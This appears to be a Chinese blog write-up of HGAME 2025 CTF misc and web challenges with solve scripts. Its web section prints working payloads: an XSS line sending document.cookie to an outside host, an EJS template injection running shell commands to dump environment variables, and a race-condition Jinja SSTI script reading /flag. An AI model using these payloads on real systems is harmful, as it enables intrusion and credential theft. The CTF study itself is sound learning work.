前言 寒假在家参加了hgame2026,题目对我来说还是很有难度的,正好平台还有去年的题目,正好做一下。依旧是web还有misc。本人能力有限只复现出部分题目。
MISC Hakuya Want A Girl Friend 打开附件是十六进制数据,一眼就是zip文件,010打开
解压时会提醒zip文件损坏,这不是一个正常的压缩包,随波逐流分析在文件末尾还有一段数据,看数据最后
1 2d2872a60000000608e402000040020000524448490d0000000a1a0a0d474e5089
这个89504e是png文件头,把数据逆向一下。exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 def process_hex_data (hex_str ): """ 处理十六进制字符串:两个字符为一组,逆向分组后拼接 :param hex_str: 原始十六进制字符串(无空格、连续格式) :return: 处理后的十六进制字符串 """ if len (hex_str) % 2 != 0 : raise ValueError("输入数据长度必须为偶数,请检查原始数据格式" ) data_groups = [hex_str[i:i+2 ] for i in range (0 , len (hex_str), 2 )] reversed_groups = data_groups[::-1 ] return '' .join(reversed_groups) def read_file (file_path ): """ 读取文件内容(默认UTF-8编码) :param file_path: 文件路径 :return: 文件中的字符串内容 """ try : with open (file_path, "r" , encoding="utf-8" ) as f: return f.read().strip() except FileNotFoundError: raise FileNotFoundError(f"未找到文件:{file_path} ,请检查路径是否正确" ) except Exception as e: raise Exception(f"读取文件失败:{str (e)} " ) def save_file (content, output_path="processed_hky_end.txt" ): """ 保存处理结果到文件(默认UTF-8编码) :param content: 要保存的内容 :param output_path: 输出文件路径(默认保存为当前目录下的 processed_hky_end.txt) """ try : with open (output_path, "w" , encoding="utf-8" ) as f: f.write(content) print (f"处理结果已成功保存到:{output_path} " ) except Exception as e: raise Exception(f"保存文件失败:{str (e)} " ) if __name__ == "__main__" : original_file_path = r"E:\新建文件夹\hgame2025\hky_end.txt" output_file_path = r"E:\新建文件夹\hgame2025\processed_hky_end.txt" try : print ("正在读取原始文件..." ) original_data = read_file(original_file_path) print (f"原始文件读取成功,数据长度:{len (original_data)} 字符" ) print ("正在处理数据..." ) processed_data = process_hex_data(original_data) print (f"数据处理完成,处理后长度:{len (processed_data)} 字符" ) save_file(processed_data, output_file_path) except Exception as e: print (f"执行失败:{str (e)} " )
然后将文件导入010,导入十六进制数据,保存为png,随波逐流分析
帅哥的下面就是密码:To_f1nd_th3_QQ,解压压缩包得到flag
hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928},这个格式有点小错误
hgame{h4kyu4_w4nt_gir1f3nd_+q_931290928}
Invest in hints 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 Q&A: “这里的‘Hint #x’是哪个hint?(x替换为你喜欢的非负整数)” -- 由你自己来发现。 “不会出现负收益的中间状态吗?” -- 无舍即无得。但我们保证解出赛题的收益是非负的。 求解本题无需使用暴力枚举。请选手确保在解题过程中不存在暴力枚举行为。 本题不设置血分。自动计算的血分将由工作人员扣除。 每个 Hint 按原串顺序包含以下位(个位代表原串的第一个字符)。 Hint 51: 00001100101001111010000000010010001110100000000000000000001101111000100 Hint 52: 01101000111011000000000101000100001001101100000000010010001110011000000 Hint 53: 10100100000001011000110001001101000010001101011101010110001000000000000 Hint 54: 00001010000010010000100110000100000010000100101100111000001011100000111 Hint 55: 01110010100100100000000000000000011010110011000001111000101100000001000 Hint 56: 01110100001001000010010111101111011101001000100010011001000010011100000 Hint 57: 10000101010000000011000001100101001010110100000110110010001000100011000 Hint 58: 00000111101000001001000001100100100000110000110000101000001101110100000 Hint 59: 01001101001001000000001001001110100000000000001011000100010000101010101 Hint 60: 10010010100110011011100010011001100100100001110010010101001000100001111 Hint 61: 01001000100011000001000000000011010001110001000000101100001000100010100 Hint 62: 00101000010000111000101110000010001000000001000111100010001101001001101 Hint 63: 01000010111010000000010100001010001011000100100010000000000000001000000 Hint 64: 01110110110011000000010000011000000010000000000000111000000010000010001 Hint 65: 01100000000011000110000000010001000000000011001100000110010001011010000 Hint 66: 01110011001000101001100001011000011010000001100010100000011010000001000 Hint 67: 00111011000011000000100100101000100100101000010001100111001000100001000 Hint 68: 01000110010101011100110101110010001111100011010000000101010100000010010 Hint 69: 11111010111000110100010000000010001101111010011010001100000011000001001 Hint 70: 00000010110101100100100011001011011001100000100010011111000011000001101 Hint 71: 00001100001110101000010111001100011100100010011100001010000000001000010 Hint 72: 01100000000011001001011100000101000110111000101100010101111000001010100 Hint 73: 00001000001010010000001101010110110000110111011011100101011110010110000 Hint 74: 01010010100000000111011110001000010110100001000111001101010100000010000 Hint 75: 11010000011000010100001010000111011010100001111010100100100000111110110
这一题也是看了很多文章,也是看懂了其中的问道,不得不感慨一下出题人的脑洞。非常能代表misc特性的一题,出题人牛逼
一开始没有看懂出题人的意思,这里的舍得和负收益说的是啥,如果是在当时的比赛应该就知道题目给了25条提示,并且每一条提示需要花费14分兑换,正好时350分,原本想的时从给的二进制下手分析,发现不行,得不到有效数据。不看提示时根本解不出题目,由于心啊在题目已经归档了,所有的提示都给出来了,先拿第一条提示分析
1 00001100101001111010000000010010001110100000000000000000001101111000100
这里一共有22个字母,同时在上面的数据中也有22个1,同时题目还提及到每个 Hint 按原串顺序包含以下位(个位代表原串的第一个字符)
1 00100011110110000000000000000000101110001001000000001011110010100110000
按照我们的习惯时从左往有看那就需要把给的提示数据倒过来,每个数据代表的字符就对上了,在第3条和第4条的提示才最明显
1 2 3 k99C7r0gSKaAi91Nxu2mAm4} hgag5YkACir0QKA9lCumDdH
包含了flag的特征,flag的格式时hgame{xxx},看第四条给的hint,逆向后的
1 11100000111010000011100110100100001000000100001100100001001000001010000
1的数量和字符数量相等,开头的111对应hga,第三条数据开头时1,也就对用flag的最后一个}.也就是flag就在给的提示中,给的提示数据长度都是71,flag的长度都是71,这些1的位置就是提示的字母的位置。那也就可以理解题目中所说的收益就是用尽可能少的分数兑换提示得到flag,如果把全部提示兑换了,那这一题也就没有分数了,感觉也在考验人性啊。
接下来就是要在数据中筛选出几条数据,这些数据组合出每个位置都有1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 original_data = { 51 : "00001100101001111010000000010010001110100000000000000000001101111000100" , 52 : "01101000111011000000000101000100001001101100000000010010001110011000000" , 53 : "10100100000001011000110001001101000010001101011101010110001000000000000" , 54 : "00001010000010010000100110000100000010000100101100111000001011100000111" , 55 : "01110010100100100000000000000000011010110011000001111000101100000001000" , 56 : "01110100001001000010010111101111011101001000100010011001000010011100000" , 57 : "10000101010000000011000001100101001010110100000110110010001000100011000" , 58 : "00000111101000001001000001100100100000110000110000101000001101110100000" , 59 : "01001101001001000000001001001110100000000000001011000100010000101010101" , 60 : "10010010100110011011100010011001100100100001110010010101001000100001111" , 61 : "01001000100011000001000000000011010001110001000000101100001000100010100" , 62 : "00101000010000111000101110000010001000000001000111100010001101001001101" , 63 : "01000010111010000000010100001010001011000100100010000000000000001000000" , 64 : "01110110110011000000010000011000000010000000000000111000000010000010001" , 65 : "01100000000011000110000000010001000000000011001100000110010001011010000" , 66 : "01110011001000101001100001011000011010000001100010100000011010000001000" , 67 : "00111011000011000000100100101000100100101000010001100111001000100001000" , 68 : "01000110010101011100110101110010001111100011010000000101010100000010010" , 69 : "11111010111000110100010000000010001101111010011010001100000011000001001" , 70 : "00000010110101100100100011001011011001100000100010011111000011000001101" , 71 : "00001100001110101000010111001100011100100010011100001010000000001000010" , 72 : "01100000000011001001011100000101000110111000101100010101111000001010100" , 73 : "00001000001010010000001101010110110000110111011011100101011110010110000" , 74 : "01010010100000000111011110001000010110100001000111001101010100000010000" , 75 : "11010000011000010100001010000111011010100001111010100100100000111110110" } reversed_data = {} for hint_num, binary_str in original_data.items(): reversed_str = binary_str[::-1 ] reversed_data[hint_num] = reversed_str bit_length = len (next (iter (reversed_data.values()))) covered_bits = [False ] * bit_length selected_hints = [] while not all (covered_bits): best_hint = None best_coverage = -1 for hint_num, binary_str in reversed_data.items(): if hint_num in selected_hints: continue coverage_count = 0 for i in range (bit_length): if binary_str[i] == '1' and not covered_bits[i]: coverage_count += 1 if coverage_count > best_coverage: best_coverage = coverage_count best_hint = hint_num if best_hint is not None : selected_hints.append(best_hint) selected_str = reversed_data[best_hint] for i in range (bit_length): if selected_str[i] == '1' : covered_bits[i] = True else : break print ("倒序后的部分数据示例(Hint 51):" )print (f"原始: {original_data[51 ]} " )print (f"倒序: {reversed_data[51 ]} " )print ("\n选中的Hint编号(满足所有位都有1):" )print (selected_hints)print ("\n验证结果:所有位是否都有1 ->" , all (covered_bits))print ("\n选中的倒序后二进制串:" )for num in selected_hints: print (f"Hint {num} : {reversed_data[num]} " )
找到对应的提示
1 2 3 4 5 6 hgamgko9CLgQSyzti1Dlu8r2mD5wda} {AuYoACLQa2zq3i691hNlCxrALma42 e{uYMkfo9i7L0gSCKWy3t69DNCbmDLH megk9CiLrKWyAqi9hN8rELm} hm5Y9AL0gCaWy2zq6xRmCLEwdHa42} {AuYoACLQa2zq3i691hNlCxrALma42
根据这6条数据就能拼凑出flag。这里放一张大佬对应好的图
1 hgame{Aug5YMkf3o99ACi7Lr0gQSCKaWy2Azq3ti691DhNlCbxu8rR2mCAD5LEwLdmHa42}
Level 314 线性走廊中的双生实体 附件给的是pt文件,pt文件就可以当作压缩包解压看文件内容,解压后看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 class MyModel (Module ): __parameters__ = [] __buffers__ = [] training : bool _is_full_backward_hook : Optional [bool ] linear1 : __torch__.torch.nn.modules.linear.Linear security : __torch__.SecurityLayer relu : __torch__.torch.nn.modules.activation.ReLU linear2 : __torch__.torch.nn.modules.linear.___torch_mangle_0.Linear def forward (self: __torch__.MyModel, x: Tensor ) -> Tensor: linear1 = self .linear1 x0 = (linear1).forward(x, ) security = self .security x1 = (security).forward(x0, ) relu = self .relu x2 = (relu).forward(x1, ) linear2 = self .linear2 return (linear2).forward(x2, ) class SecurityLayer (Module ): __parameters__ = [] __buffers__ = [] training : bool _is_full_backward_hook : Optional [bool ] flag : List [int ] fake_flag : List [int ] def forward (self: __torch__.SecurityLayer, x: Tensor ) -> Tensor: _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004 ), 1.0000000000000001e-05 , 0.0001 ) if _0: _1 = annotate(List [str ], []) flag = self .flag for _2 in range (torch.len (flag)): b = flag[_2] _3 = torch.append(_1, torch.chr (torch.__xor__(b, 85 ))) decoded = torch.join("" , _1) print ("Hidden:" , decoded) else : pass if bool (torch.gt(torch.mean(x), 0.5 )): _4 = annotate(List [str ], []) fake_flag = self .fake_flag for _5 in range (torch.len (fake_flag)): c = fake_flag[_5] _6 = torch.append(_4, torch.chr (torch.sub(c, 3 ))) decoded0 = torch.join("" , _4) print ("Decoy:" , decoded0) else : pass return x
是从 TorchScript 格式的 pt 模型中提取加密的整数列表,再按照模型内置的解密规则还原出字符串形式的 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import torch try: model = torch.jit.load("entity.pt", weights_only=False) print("✅ 模型加载成功(TorchScript格式)") except Exception as e: model = torch.load("entity.pt", weights_only=False) print("✅ 模型加载成功(兼容模式)") try: encrypted_flag = model.security.flag encrypted_fake_flag = model.security.fake_flag except: state_dict = model.state_dict() encrypted_flag = state_dict["security.flag"] encrypted_fake_flag = state_dict["security.fake_flag"] if isinstance(encrypted_flag, torch.Tensor): encrypted_flag = encrypted_flag.tolist() if isinstance(encrypted_fake_flag, torch.Tensor): encrypted_fake_flag = encrypted_fake_flag.tolist() real_flag = "".join([chr(int(b) ^ 85) for b in encrypted_flag]) fake_flag = "".join([chr(int(c) - 3) for c in encrypted_fake_flag]) print("\n🔑 解密结果:") print(f"真实flag: {real_flag}") print(f"诱饵flag: {fake_flag}") print("\n🚀 触发模型打印flag:") try: input_dim = model.linear1.in_features except: input_dim = 10 input_trigger = torch.full((1, input_dim), 0.31415) model(input_trigger)
Level 729 易画行 分析附件代码,考察的是区块链的知识,题目中给了一个地址0x74520Ad628600F7Cc9613345aee7afC0E06EFd84,https://sepolia.etherscan.io/网站上搜索一下地址
看最下面的那一条
有两条记录,铸造和转移,一般来说对于一个NFT而言,它的Metadata只会在铸造的
web访问这个地址得到flag
flag{Tr4d1ng_on_t3st_n3t}
WEB Level 24 Pacman 考察的是前端的题目,禁用了一些快捷方式,先看网页源代码,在url前面加上view-source:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <html > <head > <meta charset ="utf8" > <title > Pac-Man</title > <link rel ="shortcut icon" href ="favicon.png" > <link rel ="stylesheet" href ="./static/style/index.css" > </head > <body > <div class ="wrapper" > <div class ="mod-panel" > <div class ="hd" > <h1 > Pac-Man</h1 > </div > <div class ="bd" > <canvas id ="canvas" width ="960" height ="640" > 不支持画布</canvas > </div > <div class ="ft" > <div class ="info" > <p > 按 [空格键] 暂停或继续</p > <p > Press [space] to pause or continue</p > <p > Powered by passer-by</p > </div > </div > </div > </div > <script src ="./static/script/game.js" > </script > <script src ="./static/script/index.js" > </script > <script async defer src ="https://buttons.github.io/buttons.js" > </script > </body > </html >
关键就在那三个js文件,这里就不放那三个文件了,分析之后就是通关就会得到flag,通关时会执行
1 console.log('here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==');
现base64解码然后随波逐流分析
hgame{pratice_makes_perfect},没想到flag是假的。再次压力ai得知这一题有两种flag,是根据游戏结束时的分数还有挑战次数决定回显哪一种flag
SCORE 比较高(通常 > 某个阈值,比如 9999 或 27000 左右,具体取决于剩余生命加成) → 显示: here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ== 解码后:haepaiemkspretgm{rtc_ae_efc} SCORE 比较低(没达到阈值) → 显示: here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0= 解码后:haeu4epca_4trgm{_r_amnmse}
这一题的flag对应第二种情况
Level 47 BandBomb 首先分析题目给的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 const express = require ('express' );const multer = require ('multer' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static (path.join (__dirname, 'public' ))); app.use (express.json ()); const storage = multer.diskStorage ({ destination : (req, file, cb ) => { const uploadDir = 'uploads' ; if (!fs.existsSync (uploadDir)) { fs.mkdirSync (uploadDir); } cb (null , uploadDir); }, filename : (req, file, cb ) => { cb (null , file.originalname ); } }); const upload = multer ({ storage : storage, fileFilter : (_, file, cb ) => { try { if (!file.originalname ) { return cb (new Error ('无效的文件名' ), false ); } cb (null , true ); } catch (err) { cb (new Error ('文件处理错误' ), false ); } } }); app.get ('/' , (req, res ) => { const uploadsDir = path.join (__dirname, 'uploads' ); if (!fs.existsSync (uploadsDir)) { fs.mkdirSync (uploadsDir); } fs.readdir (uploadsDir, (err, files ) => { if (err) { return res.status (500 ).render ('mortis' , { files : [] }); } res.render ('mortis' , { files : files }); }); }); app.post ('/rename' , (req, res ) => { const { oldName, newName } = req.body ; const oldPath = path.join (__dirname, 'uploads' , oldName); const newPath = path.join (__dirname, 'uploads' , newName); if (!oldName || !newName) { return res.status (400 ).json ({ error : ' ' }); } fs.rename (oldPath, newPath, (err ) => { if (err) { return res.status (500 ).json ({ error : ' ' + err.message }); } res.json ({ message : ' ' }); }); }); app.listen (port, () => { console .log (`服务器运行在 http://localhost:${port} ` ); });
这里主要就是文件重命名,还有ejs模板引擎,先分析这个rename路由实现的是文件重命名,这里拼接文件路径,可以使用../来跳目录,从而实现文件移动,把敏感文件移动到pubilc目录下读取,现测试一下
可以看到成功读取文件内容,flag一般在根目录尝试读取一下
根目录下就没有放flag,那大概率就在环境变量,代码还能实现文件覆盖,并且EJS模板文件命名为mortis,这个命名也算是出题人给的提示把,先上传一个恶意的的ejs文件
然后直接访问根目录就行
或者
1 <%= global .process .mainModule .require ('child_process' ).execSync ("env > /app/public/1.txt" ) %>
访问static/1.txt
payload参考文章Node.js EJS模板注入SSTI – Acc1oFl4g’s Blog
Level 69 MysteryMessageBoard 弱口令登入,密码是888888
/flag路由有flag,但是需要admin权限,因此要用利用xss获取cookie,这里使用xss平台。payload
1 <script > location.href ="https://xs.pe/Hwd.jpg/?cookie=" +document .cookie </script >
这里成功获得session,访问/flag,伪造session获得flag,这里还尝试了用服务器接收cookie
依旧可以获得session
Level 38475 角落 扫目录扫到了robots.txt,有个app.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Include by httpd.conf <Directory "/usr/local/apache2/app"> Options Indexes AllowOverride None Require all granted </Directory> <Files "/usr/local/apache2/app/app.py"> Order Allow,Deny Deny from all </Files> RewriteEngine On RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" ProxyPass "/app/" "http://127.0.0.1:5000/"
再根据题目提示考察的是CVE-2024-38475漏洞,读取一下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, request, render_template, render_template_string, redirectimport osimport templatesapp = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msg def readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status) @app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
代码的漏洞在于
1 2 3 4 5 6 @app.route('/read', methods=['GET']) def read_message(): if "{" not in readmsg(): show = show_msg.replace("{{message}}", readmsg()) return render_template_string(show) return 'waf!!'
两次调用了readmsg,在这就可以利用条件竞争,一个正常的payload,一个恶意的payload,这里参考大佬脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport threadingimport timeimport ostarget = 'http://node1.hgame.vidar.club:30593/app' def race_write (): while True : requests.post(target + '/send' , data={'message' : 'hello' }) requests.post(target + '/send' , data={'message' : "{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}" }) def exploit (): while True : r = requests.get(target + '/read' ) if 'hgame' in r.text: print ('Exploit success!' ) print (r.text) os._exit(0 ) if __name__ == '__main__' : requests.post(target + '/send' , data={'message' : 'hello' }) threading.Thread(target=race_write, daemon=True ).start() threading.Thread(target=exploit, daemon=True ).start() while True : time.sleep(1 )